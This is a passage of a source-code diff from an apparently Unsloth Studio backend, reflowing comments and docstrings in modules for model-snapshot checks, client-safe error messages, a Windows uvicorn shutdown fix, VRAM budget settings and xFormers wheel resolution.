full-snapshot transfer records its exact expected files before downloading. A cancel marker or unfinished blob is conclusive even when config.json and the first finalized shard already exist.repo_dir = snapshot.parent.parenthub_cache = repo_dir.parentrepo_id = model_name@@ -825,12 +670,9 @@ def snapshot_is_loadable(snapshot, model_name: str) -> bool:return Falsemanifest = download_manifest.read_manifest("model", repo_id, None, hub_cache = hub_cache)if manifest is not None:- # This exact full-snapshot plan is stronger evidence than an- # unrelated .incomplete blob left under the repository by another- # revision or scoped GGUF job.+ # This exact full-snapshot plan is stronger evidence than an unrelated .incomplete blob left under the repository by another revision or scoped GGUF job.return download_manifest.verify_against_disk(manifest, snapshot).ok- # Judge THIS snapshot's own links, not every blob in the shared cache directory, or a stray .incomplete from- # another revision condemns a model that is fully present.+ # Judge THIS snapshot's own links, not every blob in the shared cache directory, or a stray .incomplete from another revision condemns a model that is fully present.if snapshot_has_broken_symlinks(snapshot):return False@@ -838,23 +680,15 @@ def snapshot_is_loadable(snapshot, model_name: str) -> bool:except OSError:return Falseexcept Exception:- # Completeness is a safety property here: an unprovable partial must keep the pending marker so- # the loader cannot silently reach the network.+ # Completeness is a safety property here: an unprovable partial must keep the pending marker so the loader cannot silently reach the network.return False-# Never return raw exception text to clients: log server-side, return generic.--# ── Client-safe error helpers ───────────────────────────────────# Never return raw exception text to clients; log server-side, return generic.def safe_error_detail(error: Exception, fallback: str = "An internal error occurred") -> str:- """Map an exception to a generic, client-safe message (never raw- ``str(error)``, which can leak paths). Log the real exception server-side.- """- # A mid-stream llama-server failure carries a message that was written to be shown- # Without this the non-streaming paths reduced it to the fallback while streaming clients got the cause. Imported- # lazily: utils is low level and must not depend on core.inference at import time.+ """Map an exception to a generic, client-safe message (never raw ``str(error)``, which can leak paths). Log the real exception server-side."""+ # A mid-stream llama-server failure carries a message that was written to be shown; without this the non-streaming paths reduced it to the fallback while streaming clients got the cause. Imported lazily: utils is low level and must not depend on core.inference at import time.try:from core.inference.stream_errors import LlamaStreamError # noqa: PLC0415if isinstance(error, LlamaStreamError) and error.friendly:@@ -875,11 +709,7 @@ def safe_error_detail(error: Exception, fallback: str = "An internal error occurdef safe_curated_detail(error: Exception, fallback: str = "An internal error occurred") -> str:- """Client-safe text for curated domain/validation exceptions.-- Keeps the message (paths stripped) instead of a generic fallback; for known- exception types only (use ``safe_error_detail`` for generic ``Exception``).- """+ """Client-safe text for curated domain/validation exceptions. Keeps the message (paths stripped) instead of a generic fallback; for known exception types only (use ``safe_error_detail`` for generic ``Exception``)."""from utils.native_path_leases import redact_native_pathsmsg = redact_native_paths(str(error)).strip()@@ -895,16 +725,13 @@ def log_and_http_error(log = None,headers: Optional[dict] = None,):- """Log ``error`` in full server-side and return an ``HTTPException`` whose- ``detail`` is only ``public_message`` -- never the raw exception text.+ """Log ``error`` in full server-side and return an ``HTTPException`` whose ``detail`` is only ``public_message``, never the raw exception text.Usage: raise log_and_http_error(e, 500, "Failed to start training")"""from fastapi import HTTPException- # A 4xx is a normal outcome the caller handles.- # One warning line and no traceback: at error with exc_info, one generation buried the log under 54 rejected saves.- # 5xx keeps the traceback, and exc_info works for structlog too.+ # A 4xx is a normal outcome the caller handles. One warning line and no traceback: at error with exc_info, one generation buried the log under 54 rejected saves. 5xx keeps the traceback, and exc_info works for structlog too.emitter = log or loggerif 400 <= status_code < 500:emitter.warning(f"{event}: {error}")diff --git a/studio/backend/utils/uvicorn_h11_shutdown.py b/studio/backend/utils/uvicorn_h11_shutdown.pyindex d4634a20b53..d2b58c0a572 100644--- a/studio/backend/utils/uvicorn_h11_shutdown.py+++ b/studio/backend/utils/uvicorn_h11_shutdown.py@@ -3,50 +3,11 @@"""Silence uvicorn's h11 shutdown traceback on Windows (issue #8404).-Every clean shutdown on Windows printed an unhandled asyncio traceback ending in-``h11._util.LocalProtocolError: can't handle event type Response when-role=SERVER and state=CLOSED``. Nothing breaks, but a full traceback on a normal-exit reads as a crash and gets reported as one.--The sequence, all of it in third-party code:--1. ``uvicorn.Server.shutdown()`` walks the live connections and calls- ``H11Protocol.shutdown()`` (``uvicorn/protocols/http/h11_impl.py``), which- sends ``h11.ConnectionClosed()`` -- moving the h11 server state to CLOSED --- and then calls ``transport.close()``.-2. The browser is still polling ``/api/inference/status`` and- ``/api/inference/monitor`` on that keep-alive connection, so a request can- already be sitting in the socket. On Windows the proactor transport still- hands it to the protocol after ``close()``:- ``_ProactorReadPipeTransport._loop_reading()`` assigns ``length`` from- ``fut.result()`` before it returns early on ``self._closing``, and its- ``finally:`` clause then calls ``_data_received()`` anyway (CPython- ``Lib/asyncio/proactor_events.py``). ``close()`` does cancel ``_read_fut``,- but that cannot help here: a read whose overlapped ``WSARecv()`` already- completed had ``_ov`` cleared by ``_OverlappedFuture.set_result()``, so- ``cancel()`` is a no-op and the done callback queued before ``close()`` still- runs. CPython 3.9 also set ``data = None`` in that branch and so never- delivered; 3.10 dropped that line when the reader moved to ``recv_into()``,- which is why the report needs 3.10 or newer. The selector transport used on- Linux and macOS removes the reader inside ``close()``, and uvloop calls- ``_stop_reading()`` inside its own ``close()`` (and does not build on- Windows at all), so on every other platform the read callback cannot fire- again, which is why this is Windows-only in practice.-3. h11 sees bytes after it expected EOF, so ``next_event()`` raises- ``RemoteProtocolError``. uvicorn logs "Invalid HTTP request received." and- calls ``send_400_response()``, whose very first ``self.conn.send(...)``- raises ``LocalProtocolError`` because the server state is CLOSED. Nothing- catches it, so it escapes ``data_received()`` back into the proactor read- callback and asyncio's default handler prints the traceback.--The fix is to stop step 2 from reaching h11 at all rather than to swallow the-exception at the end: once we have sent ``ConnectionClosed`` and closed the-transport, no further byte can legally be written on that connection, so the-inbound data belongs to a request that will never be answered and dropping it-is exactly what the selector transport already does. Suppressing the-``LocalProtocolError`` instead would also hide genuine protocol errors on live-connections, and it would leave the equally misleading "Invalid HTTP request-received." warning behind.+Every clean shutdown on Windows printed an unhandled asyncio traceback ending in ``h11._util.LocalProtocolError: can't handle event type Response when role=SERVER and state=CLOSED``. Nothing breaks, but a full traceback on a normal exit reads as a crash and gets reported as one.++The sequence, all of it in third-party code. First, ``uvicorn.Server.shutdown()`` walks the live connections and calls ``H11Protocol.shutdown()`` (``uvicorn/protocols/http/h11_impl.py``), which sends ``h11.ConnectionClosed()``, moving the h11 server state to CLOSED, then calls ``transport.close()``. Second, the browser is still polling ``/api/inference/status`` and ``/api/inference/monitor`` on that keep-alive connection, so a request can already be sitting in the socket, and on Windows the proactor transport still hands it to the protocol after ``close()``: ``_ProactorReadPipeTransport._loop_reading()`` assigns ``length`` from ``fut.result()`` before returning early on ``self._closing``, and its ``finally:`` clause calls ``_data_received()`` anyway (CPython ``Lib/asyncio/proactor_events.py``). ``close()`` does cancel ``_read_fut``, but a read whose overlapped ``WSARecv()`` already completed had ``_ov`` cleared by ``_OverlappedFuture.set_result()``, so ``cancel()`` is a no-op and the done callback queued before ``close()`` still runs. CPython 3.9 also set ``data = None`` in that branch and so never delivered, and 3.10 dropped that line when the reader moved to ``recv_into()``, which is why the report needs 3.10 or newer; the selector transport used on Linux and macOS removes the reader inside ``close()``, and uvloop calls ``_stop_reading()`` inside its own ``close()`` (and does not build on Windows at all), so this is Windows-only in practice. Third, h11 sees bytes after it expected EOF, so ``next_event()`` raises ``RemoteProtocolError``, uvicorn logs "Invalid HTTP request received." and calls ``send_400_response()``, whose very first ``self.conn.send(...)`` raises ``LocalProtocolError`` because the server state is CLOSED; nothing catches it, so it escapes ``data_received()`` back into the proactor read callback and asyncio's default handler prints the traceback.++The fix stops step 2 from reaching h11 at all rather than swallowing the exception at the end: once ``ConnectionClosed`` is sent and the transport closed, no further byte can legally be written on that connection, so the inbound data belongs to a request that will never be answered and dropping it is exactly what the selector transport already does. Suppressing the ``LocalProtocolError`` instead would hide genuine protocol errors on live connections and leave the equally misleading "Invalid HTTP request received." warning behind."""from __future__ import annotations@@ -65,15 +26,7 @@ def _shutdown_quiet_h11_protocol() -> Union[type, None]:# Any uvicorn/h11 layout we do not recognise: leave uvicorn untouched.return None- # In our_state CLOSED / ERROR / MUST_CLOSE uvicorn can no longer write a response, so feeding h11- # more inbound bytes only produces the spurious 400 attempt above. MUST_CLOSE matters because- # send_400_response() closes the transport without sending ConnectionClosed, and a second- # proactor read in that window raises the same LocalProtocolError. Reads our_state and never- # their_state on purpose: a malformed request from a live client leaves our_state at IDLE or- # SEND_RESPONSE precisely so the server can still answer 400 (h11 docs, "error handling").- # h11 only ever reaches CLOSED or MUST_CLOSE from IDLE or DONE, so a response is either finished or was never- # started, while next_event() calls _process_error(their_role) and leaves our_state answerable. Any non-HTTP bytes- # spanning more than one read get there, a browser sent to https://127.0.0.1:<port> included.+ # In our_state CLOSED / ERROR / MUST_CLOSE uvicorn can no longer write a response, so feeding h11 more inbound bytes only produces the spurious 400 attempt above. MUST_CLOSE matters because send_400_response() closes the transport without sending ConnectionClosed, and a second proactor read in that window raises the same LocalProtocolError. Reads our_state and never their_state on purpose: a malformed request from a live client leaves our_state at IDLE or SEND_RESPONSE precisely so the server can still answer 400 (h11 docs, "error handling"), and h11 only reaches CLOSED or MUST_CLOSE from IDLE or DONE, so a response is either finished or was never started. Any non-HTTP bytes spanning more than one read get there, a browser sent to https://127.0.0.1:<port> included.terminal_states = (h11.MUST_CLOSE, h11.CLOSED, h11.ERROR)class _ShutdownQuietH11Protocol(H11Protocol): # type: ignore[misc, valid-type]@@ -89,13 +42,7 @@ def _shutdown_quiet_h11_protocol() -> Union[type, None]:def uvicorn_http_protocol() -> Union[str, type]:- """Return the value for ``uvicorn.Config(http = ...)``.-- Yields the patched h11 protocol only when uvicorn would have picked plain- h11 anyway, so the httptools fast path is never silently disabled. httptools- does not need this: its own 400 path writes straight to the transport with- no state machine to violate.- """+ """The value for ``uvicorn.Config(http = ...)``: the patched h11 protocol only when uvicorn would have picked plain h11 anyway, so the httptools fast path is never silently disabled. httptools does not need this, since its own 400 path writes straight to the transport with no state machine to violate."""try:from uvicorn.protocols.http.auto import AutoHTTPProtocolfrom uvicorn.protocols.http.h11_impl import H11Protocoldiff --git a/studio/backend/utils/vram_budget_settings.py b/studio/backend/utils/vram_budget_settings.pyindex 5c25b52a7fa..0b2fe9cc791 100644--- a/studio/backend/utils/vram_budget_settings.py+++ b/studio/backend/utils/vram_budget_settings.py@@ -3,20 +3,11 @@"""Persisted VRAM budget fraction: how much of each GPU a load may claim.-The fit reserves a slice of every card that the model and KV cache may not use,-covering fragmentation, the per-device CUDA context and MoE routing. That slice-was two hard-coded 0.97 constants in ``core.inference.llama_cpp``-(``_CTX_FIT_VRAM_FRACTION``, ``_GPU_PIN_VRAM_FRACTION``), so the only way to-trade it for context was to edit the source.--Raising the fraction hands the reserve back as context; the load can then OOM,-which llama.cpp takes as a hard crash rather than a graceful degrade. Lowering it-pushes tight fits into CPU offload, which is what 0.90 did in #5106. Neither-direction is free, so the default stays exactly where it was and an unset budget-must resolve to ``VRAM_FRACTION_DEFAULT``.--Precedence, matching ``openai_auto_switch_settings``: a stored value wins, the-environment is a standalone startup default, the constant is the last resort.+The fit reserves a slice of every card the model and KV cache may not use, covering fragmentation, the per-device CUDA context and MoE routing. That slice was two hard-coded 0.97 constants in ``core.inference.llama_cpp`` (``_CTX_FIT_VRAM_FRACTION``, ``_GPU_PIN_VRAM_FRACTION``), so the only way to trade it for context was to edit the source.++Raising the fraction hands the reserve back as context and the load can then OOM, which llama.cpp takes as a hard crash rather than a graceful degrade; lowering it pushes tight fits into CPU offload, which is what 0.90 did in #5106. Neither direction is free, so the default stays exactly where it was and an unset budget must resolve to ``VRAM_FRACTION_DEFAULT``.++Precedence, matching ``openai_auto_switch_settings``: a stored value wins, the environment is a standalone startup default, the constant is the last resort."""from __future__ import annotations@@ -30,23 +21,19 @@ VRAM_BUDGET_SETTING_KEY = "vram_budget_fraction"VRAM_FRACTION_ENV_VAR = "UNSLOTH_VRAM_FRACTION"-# Mirrored in per-model-config.ts as percent for the slider, a pair-# test_vram_budget_settings.py pins together. The default is the historical-# _CTX_FIT_VRAM_FRACTION / _GPU_PIN_VRAM_FRACTION.+# Mirrored in per-model-config.ts as percent for the slider, a pair test_vram_budget_settings.py pins together. The default is the historical _CTX_FIT_VRAM_FRACTION / _GPU_PIN_VRAM_FRACTION.VRAM_FRACTION_MIN = 0.80VRAM_FRACTION_MAX = 1.00VRAM_FRACTION_DEFAULT = 0.97-# The slider steps in tenths, so 0.975 is legal. Quantising to that grid keeps a-# stored fraction exactly representable as the percent shown.+# The slider steps in tenths, so 0.975 is legal. Quantising to that grid keeps a stored fraction exactly representable as the percent shown.VRAM_FRACTION_DECIMALS = 3# Read on the load path, so memo briefly to spare SQLite, as model_memory_settings._CACHE_TTL_S = 2.0_cache_lock = threading.Lock()_cache: dict[str, tuple[float, Any]] = {}-# Bumped on every write: a read that began before it must not cache its stale value, or the new-# budget appears to revert for the rest of the TTL.+# Bumped on every write: a read that began before it must not cache its stale value, or the new budget appears to revert for the rest of the TTL._generation: dict[str, int] = {}# Retries converge; the bound only stops a write storm spinning here forever.@@ -81,11 +68,7 @@ def _invalidate(key: str) -> None:def coerce_fraction(value: Any) -> Optional[float]:- """A VRAM fraction in ``[VRAM_FRACTION_MIN, VRAM_FRACTION_MAX]``, else None.-- Accepts the stored JSON number and the raw environment string through the same- path so a value can never be legal in one and not the other.- """+ """A VRAM fraction in ``[VRAM_FRACTION_MIN, VRAM_FRACTION_MAX]``, else None. Accepts the stored JSON number and the raw environment string through the same path so a value can never be legal in one and not the other."""if isinstance(value, bool):# bool is an int subclass, and True would otherwise read as 1.0.return None@@ -93,30 +76,19 @@ def coerce_fraction(value: Any) -> Optional[float]:fraction = float(value)except (TypeError, ValueError):return None- # Two-sided on purpose: NaN loses every comparison, so this rejects it; the one-sided form would let- # NaN through and NaN every per-GPU budget. Mirrors _parse_mem_fraction_env.+ # Two-sided on purpose: NaN loses every comparison, so this rejects it, where the one-sided form would let NaN through and NaN every per-GPU budget. Mirrors _parse_mem_fraction_env.if not VRAM_FRACTION_MIN <= fraction <= VRAM_FRACTION_MAX:return Nonereturn round(fraction, VRAM_FRACTION_DECIMALS)def _env_fraction() -> Optional[float]:- """``UNSLOTH_VRAM_FRACTION``, or None when unset or unusable.-- Read here rather than at import so tests can monkeypatch the environment- without reloading the module, and so a value exported after startup is picked- up by the next load.- """+ """``UNSLOTH_VRAM_FRACTION``, or None when unset or unusable. Read here rather than at import so tests can monkeypatch the environment without reloading the module, and so a value exported after startup is picked up by the next load."""return coerce_fraction(os.environ.get(VRAM_FRACTION_ENV_VAR))def get_vram_budget_fraction() -> float:- """The fraction of each GPU a load may claim.-- Never raises and never returns a value outside the supported range: a corrupt- stored value or a malformed environment variable falls through to the default- rather than failing the load.- """+ """The fraction of each GPU a load may claim. Never raises and never returns a value outside the supported range: a corrupt stored value or a malformed environment variable falls through to the default rather than failing the load."""stored = coerce_fraction(_cached_setting(VRAM_BUDGET_SETTING_KEY))if stored is not None:return stored@@ -127,11 +99,7 @@ def get_vram_budget_fraction() -> float:def get_vram_budget_state() -> tuple[float, bool]:- """``(fraction, is_stored)`` for the settings route.-- The flag lets the UI distinguish "saved by the user" from "inherited from the- environment or the default", which decides whether Reset is meaningful.- """+ """``(fraction, is_stored)`` for the settings route. The flag lets the UI distinguish "saved by the user" from "inherited from the environment or the default", which decides whether Reset is meaningful."""stored = coerce_fraction(_cached_setting(VRAM_BUDGET_SETTING_KEY))if stored is not None:return stored, Truediff --git a/studio/backend/utils/wheel_utils.py b/studio/backend/utils/wheel_utils.pyindex 8ca139b1355..b3ce42e32de 100644--- a/studio/backend/utils/wheel_utils.py+++ b/studio/backend/utils/wheel_utils.py@@ -24,24 +24,9 @@ _logger = logging.getLogger(__name__)FLASH_ATTN_RELEASE_BASE_URL = "https://github.com/Dao-AILab/flash-attention/releases/download"-# No arch gate here, deliberately: has_blackwell_gpu() skipped flash-attn while upstream shipped-# no sm_100+ wheels (#5420), then became the bug once it did (#6961). A gate encodes a snapshot of-# what upstream ships and goes stale silently both ways; the post-install import check catches a-# wheel that will not load whatever the cause.---# No arch gate, deliberately: has_blackwell_gpu() skipped flash-attn before sm_100+ wheels existed (#5420) and became-# the bug once they did (#6961). The import check catches a bad wheel.-# #6961 was B200 hosts denied a working wheel, and an arch gate encodes a snapshot of what upstream ships and goes stale-# silently both ways.+# No arch gate, deliberately: has_blackwell_gpu() skipped flash-attn before sm_100+ wheels existed (#5420) and became the bug once they did (#6961), denying B200 hosts a working wheel. An arch gate encodes a snapshot of what upstream ships and goes stale silently both ways; the post-install import check catches a wheel that will not load whatever the cause.def wheel_platform_tag() -> str | None:- """pip platform tag for this host, or None where nothing we resolve is published.-- Windows is included because download.pytorch.org publishes CUDA-matched- ``win_amd64`` xFormers wheels (see ``xformers_wheel_url``). It is NOT included for- flash-attn / causal-conv1d / mamba-ssm, whose upstreams publish Linux assets only --- ``probe_torch_wheel_env`` keeps that gate, not this function.- """+ """pip platform tag for this host, or None where nothing we resolve is published. Windows is included because download.pytorch.org publishes CUDA-matched ``win_amd64`` xFormers wheels (see ``xformers_wheel_url``). It is NOT included for flash-attn / causal-conv1d / mamba-ssm, whose upstreams publish Linux assets only; ``probe_torch_wheel_env`` keeps that gate, not this function."""machine = platform.machine().lower()if sys.platform.startswith("linux"):if machine in {"x86_64", "amd64"}:@@ -59,12 +44,7 @@ def wheel_platform_tag() -> str | None:def probe_torch_wheel_env(*, timeout: int | None = None, include_windows: bool = False) -> dict[str, str] | None:- """Describe the resident torch build for wheel-URL resolution, or None.-- Windows is opt-in via ``include_windows``: every existing caller resolves a- flash-attn / causal-conv1d / mamba-ssm asset, and those projects publish no- win_amd64 wheels at all, so returning an env there would only build 404s.- """+ """Describe the resident torch build for wheel-URL resolution, or None. Windows is opt-in via ``include_windows``: every existing caller resolves a flash-attn / causal-conv1d / mamba-ssm asset, and those projects publish no win_amd64 wheels at all, so returning an env there would only build 404s."""platform_tag = wheel_platform_tag()if platform_tag is None:return None@@ -84,9 +64,7 @@ def probe_torch_wheel_env("print(json.dumps({""'python_tag': f'cp{sys.version_info.major}{sys.version_info.minor}', ""'torch_mm': torch_mm, "- # xFormers publishes one wheel per exact torch PATCH and per CUDA MINOR, so 'torch_mm' /- # 'cuda_major' cannot pick between them.- # Full release + full CUDA version: cu126 and cu128 are different builds of the same version string.+ # xFormers publishes one wheel per exact torch PATCH and per CUDA MINOR, so 'torch_mm' / 'cuda_major' cannot pick between them. Full release + full CUDA version: cu126 and cu128 are different builds of the same version string."'torch_version': str(torch.__version__), ""'cuda_version': str(torch.version.cuda) if torch.version.cuda else '', ""'cuda_major': str(int(str(torch.version.cuda).split('.', 1)[0])) if torch.version.cuda else '', "@@ -118,13 +96,7 @@ def probe_torch_wheel_env(return env-# torch 2.11/2.12 ship no native prebuilt flash-attn / causal-conv1d / mamba-ssm wheels, but the-# torch2.10 CUDA wheels load and pass each project's own suite on both, so they are reused. The-# window is bounded, not open ended: torch broke extension ABI between 2.9 and 2.10, so every new-# key here must be measured against the real wheels before it is added.-# Measured on B200, py3.12, torch 2.12.1+cu130: causal-conv1d 9412 passed / 3888 skipped / 0 failed, mamba tests/ops 20-# passed, flash-attn splitkv+qkvpacked 848 passed, identical to a torch 2.10 control. The torch2.9 flash-attn .so raises-# "undefined symbol" on torch 2.10 and 2.12 alike.+# torch 2.11/2.12 ship no native prebuilt flash-attn / causal-conv1d / mamba-ssm wheels, but the torch2.10 CUDA wheels load and pass each project's own suite on both, so they are reused. The window is bounded, not open ended: torch broke extension ABI between 2.9 and 2.10, so every new key here must be measured against the real wheels before it is added. Measured on B200, py3.12, torch 2.12.1+cu130: causal-conv1d 9412 passed / 3888 skipped / 0 failed, mamba tests/ops 20 passed, flash-attn splitkv+qkvpacked 848 passed, identical to a torch 2.10 control; the torch2.9 flash-attn .so raises "undefined symbol" on torch 2.10 and 2.12 alike._PREBUILT_WHEEL_TORCH_MM = {"2.11": "2.10", "2.12": "2.10"}@@ -153,79 +125,40 @@ def direct_wheel_url(return f"{release_base_url}/{release_tag}/{filename}"-# xformers/_C is linked against ONE exact (torch, CUDA) pair, and a mismatch is only a log-# warning, so the import "succeeds" with memory-efficient attention silently gone. PyPI publishes-# one win_amd64 flavour whose CUDA family churns across releases, which is why this resolves an-# exact download.pytorch.org URL instead of pinning a version. Keyed on the `torch` field of-# cpp_lib.json, not `cuda`, which is the NVCC toolkit version and does not separate flavours.-# Rows are exact, never interpolated: the extension ABI does not survive a torch minor bump, and-# an unlisted pair means "install nothing", the safe answer. cu118/cu121/cu124 are absent because-# they stop before the cp39-abi3 switch at 0.0.31, so one filename template cannot name them.-# The PyPI win wheel has been cu124 (0.0.29.post2), cu126 (0.0.30), cu128 (0.0.32), cu130 (0.0.33) and cu128 again-# (0.0.33.post1 onward); download.pytorch.org's cu126 0.0.34 also reports 1208, so only the `torch` field-# ("2.10.0+cu128") separates flavours. Every row was HEAD-verified live, e.g.-# cu130/xformers-0.0.34-cp39-abi3-win_amd64.whl reports {"torch": "2.10.0+cu130"}. Keying on the CUDA MINOR is stricter-# than the ABI needs (cu126 and cu128 both link libcudart.so.12; only a major bump changes it), but it names a real-# directory, so torch 2.10.0+cu129 on Linux resolves to nothing. torch 2.11+ maps to 0.0.35, compiled against 2.10.0 and-# compatible with any later version since xFormers moved to the stable API/ABI in 0.0.34. Keep in step with-# $script:XformersWheelVersions in install.ps1 and the matrix in tests/python/test_windows_xformers_wheel_match.py.+# xformers/_C is linked against ONE exact (torch, CUDA) pair, and a mismatch is only a log warning, so the import "succeeds" with memory-efficient attention silently gone. PyPI publishes one win_amd64 flavour whose CUDA family churns across releases, which is why this resolves an exact download.pytorch.org URL instead of pinning a version. Keyed on the `torch` field of cpp_lib.json, not `cuda`, which is the NVCC toolkit version and does not separate flavours. Rows are exact, never interpolated: the extension ABI does not survive a torch minor bump, and an unlisted pair means "install nothing", the safe answer. cu118/cu121/cu124 are absent because they stop before the cp39-abi3 switch at 0.0.31, so one filename template cannot name them. The PyPI win wheel has been cu124 (0.0.29.post2), cu126 (0.0.30), cu128 (0.0.32), cu130 (0.0.33) and cu128 again (0.0.33.post1 onward); download.pytorch.org's cu126 0.0.34 also reports 1208, so only the `torch` field ("2.10.0+cu128") separates flavours. Every row was HEAD-verified live, e.g. cu130/xformers-0.0.34-cp39-abi3-win_amd64.whl reports {"torch": "2.10.0+cu130"}. Keying on the CUDA MINOR is stricter than the ABI needs (cu126 and cu128 both link libcudart.so.12; only a major bump changes it), but it names a real directory, so torch 2.10.0+cu129 on Linux resolves to nothing. torch 2.11+ maps to 0.0.35, compiled against 2.10.0 and compatible with any later version since xFormers moved to the stable API/ABI in 0.0.34. Keep in step with $script:XformersWheelVersions in install.ps1 and the matrix in tests/python/test_windows_xformers_wheel_match.py.# ── xFormers ──────────────────────────────────────────────────────────────────PYTORCH_WHEEL_INDEX_BASE_URL = "https://download.pytorch.org/whl"def pytorch_wheel_index_base_url() -> str:- """Where torch-family wheels are fetched from: ``UNSLOTH_PYTORCH_MIRROR`` when set.-- Read per call rather than frozen at import: this module is imported early, and the- mirror is the one setting an air-gapped deployment has. The whole installer stack- already honours it (``install_python_stack._PYTORCH_WHL_BASE``, install.sh, setup.ps1),- so a direct-URL install that hard-coded download.pytorch.org was the one path that- could not reach a mirror-only host -- it failed the explicit xFormers request and- dropped the user back to native attention.- """+ """Where torch-family wheels are fetched from: ``UNSLOTH_PYTORCH_MIRROR`` when set. Read per call rather than frozen at import: this module is imported early, and the mirror is the one setting an air-gapped deployment has. The whole installer stack already honours it (``install_python_stack._PYTORCH_WHL_BASE``, install.sh, setup.ps1), so a direct-URL install that hard-coded download.pytorch.org was the one path that could not reach a mirror-only host, failing the explicit xFormers request and dropping the user back to native attention."""return (os.environ.get("UNSLOTH_PYTORCH_MIRROR") or PYTORCH_WHEEL_INDEX_BASE_URL).rstrip("/")_XFORMERS_WHEEL_VERSIONS: dict[str, dict[str, str]] = {- # torch 2.7.0 is deliberately absent: it predates the stable-ABI switch, so it ships one wheel per interpreter and- # stops at cp312, while Unsloth's default interpreter is 3.13.- # Supporting it would mean a per-interpreter gate here and a second one in install.ps1, for a torch that resolves to- # nothing on the default install anyway (xFormers 0.0.30).+ # torch 2.7.0 is deliberately absent: it predates the stable-ABI switch, so it ships one wheel per interpreter and stops at cp312, while Unsloth's default interpreter is 3.13. Supporting it would mean a per-interpreter gate here and a second one in install.ps1, for a torch that resolves to nothing on the default install anyway (xFormers 0.0.30)."2.7.1": {"cu126": "0.0.31.post1", "cu128": "0.0.31.post1"},"2.8.0": {"cu126": "0.0.32.post2", "cu128": "0.0.32.post2", "cu129": "0.0.32.post2"},"2.9.0": {"cu126": "0.0.33.post1", "cu128": "0.0.33.post1", "cu130": "0.0.33.post1"},"2.9.1": {"cu126": "0.0.33.post2", "cu128": "0.0.33.post2", "cu130": "0.0.33.post2"},"2.10.0": {"cu126": "0.0.34", "cu128": "0.0.34", "cu130": "0.0.34"},- # Stable-ABI era: one wheel serves every torch from 2.11 on. The rows stay listed so a- # future exact-pinned release can displace a single one of them, but they are no longer- # the only way in: _XFORMERS_STABLE_ABI below covers the patch releases between them.+ # Stable-ABI era: one wheel serves every torch from 2.11 on. The rows stay listed so a future exact-pinned release can displace a single one of them, but they are no longer the only way in: _XFORMERS_STABLE_ABI below covers the patch releases between them."2.11.0": {"cu126": "0.0.35", "cu128": "0.0.35", "cu130": "0.0.35"},"2.12.0": {"cu126": "0.0.35", "cu128": "0.0.35", "cu130": "0.0.35"},"2.13.0": {"cu126": "0.0.35", "cu128": "0.0.35", "cu130": "0.0.35"},}-# The stable-ABI floor and what serves it: every torch STRICTLY ABOVE this maps to this release,-# per CUDA family, with exact rows above still winning. An exact-key table alone refused the patch-# releases (2.10.1, 2.11.1, 2.12.1), which cannot be enumerated because they ship after this code;-# 0.0.35 targets 2.10.0 and upstream states later versions stay compatible. Below the floor there-# is no stable ABI, so an unlisted pair must keep resolving to nothing.+# The stable-ABI floor and what serves it: every torch STRICTLY ABOVE this maps to this release, per CUDA family, with exact rows above still winning. An exact-key table alone refused the patch releases (2.10.1, 2.11.1, 2.12.1), which cannot be enumerated because they ship after this code; 0.0.35 targets 2.10.0 and upstream states later versions stay compatible. Below the floor there is no stable ABI, so an unlisted pair must keep resolving to nothing._XFORMERS_STABLE_ABI_FLOOR: tuple[int, ...] = (2, 10, 0)_XFORMERS_STABLE_ABI_VERSIONS = {"cu126": "0.0.35", "cu128": "0.0.35", "cu130": "0.0.35"}-# The interpreter tag in the wheel FILENAME, which xFormers has changed twice: 0.0.30 and earlier ship one wheel per-# cpXY (and stop at cp312), 0.0.31..0.0.34 ship a single cp39-abi3 wheel, and 0.0.35 switched to py39-none. That last-# switch is a PACKAGING change, not an architectural one: 0.0.35's setup.py drops py_limited_api=True and force-tags the-# wheel through a custom bdist_wheel, since the extension is loaded by torch.ops.load_library and its _C.so defines no-# PyInit. The wheel still carries a per-CUDA _C.pyd; it just dropped the bundled flash_attn_3 kernels, the whole 103 MB-# -> 2.6 MB difference. Ranges, not an open-ended floor: an unknown release resolves to nothing until somebody checks-# the real filename.+# The interpreter tag in the wheel FILENAME, which xFormers has changed twice: 0.0.30 and earlier ship one wheel per cpXY (and stop at cp312), 0.0.31..0.0.34 ship a single cp39-abi3 wheel, and 0.0.35 switched to py39-none. That last switch is a PACKAGING change, not an architectural one: 0.0.35's setup.py drops py_limited_api=True and force-tags the wheel through a custom bdist_wheel, since the extension is loaded by torch.ops.load_library and its _C.so defines no PyInit. The wheel still carries a per-CUDA _C.pyd; it just dropped the bundled flash_attn_3 kernels, the whole 103 MB -> 2.6 MB difference. Ranges, not an open-ended floor: an unknown release resolves to nothing until somebody checks the real filename._XFORMERS_FILENAME_PYTHON_TAGS: tuple[tuple[tuple[int, ...], tuple[int, ...], str], ...] = (((0, 0, 31), (0, 0, 34), "cp39-abi3"),((0, 0, 35), (0, 0, 35), "py39-none"),)-# platform_tag from wheel_platform_tag() -> the leaf in the wheel filename.-# aarch64 and macOS are absent because download.pytorch.org publishes no xFormers wheel for them.+# platform_tag from wheel_platform_tag() -> the leaf in the wheel filename. aarch64 and macOS are absent because download.pytorch.org publishes no xFormers wheel for them._XFORMERS_PLATFORM_LEAVES = {"linux_x86_64": "manylinux_2_28_x86_64","win_amd64": "win_amd64",@@ -255,10 +188,7 @@ def xformers_filename_python_tag(version: str) -> str | None:def xformers_cuda_family(cuda_version: str | None) -> str | None:- """torch.version.cuda -> the download.pytorch.org index leaf ('12.8' -> 'cu128').-- None for a ROCm / CPU / XPU torch, which has no xFormers wheel anywhere.- """+ """torch.version.cuda -> the download.pytorch.org index leaf ('12.8' -> 'cu128'). None for a ROCm / CPU / XPU torch, which has no xFormers wheel anywhere."""if not cuda_version:return Noneparts = str(cuda_version).strip().split(".")@@ -271,13 +201,7 @@ def xformers_cuda_family(cuda_version: str | None) -> str | None:def xformers_wheel_version(torch_version: str | None, cuda_family: str | None) -> str | None:- """The xFormers release for this (torch, CUDA family), else None.-- An exact row wins. Failing that, any release above the stable-ABI floor resolves to the- wheel that serves that whole era: the exact table cannot list patch releases that are- published after this code ships, and refusing them left supported builds (2.11.1,- 2.12.1) with no xFormers at all.- """+ """The xFormers release for this (torch, CUDA family), else None. An exact row wins; failing that, any release above the stable-ABI floor resolves to the wheel that serves that whole era, since the exact table cannot list patch releases published after this code ships and refusing them left supported builds (2.11.1, 2.12.1) with no xFormers at all."""if not torch_version or not cuda_family:return None# '2.10.0+cu130' -> '2.10.0'. A dev/rc torch has no wheel and must miss the table.@@ -285,9 +209,7 @@ def xformers_wheel_version(torch_version: str | None, cuda_family: str | None) -exact = _XFORMERS_WHEEL_VERSIONS.get(release, 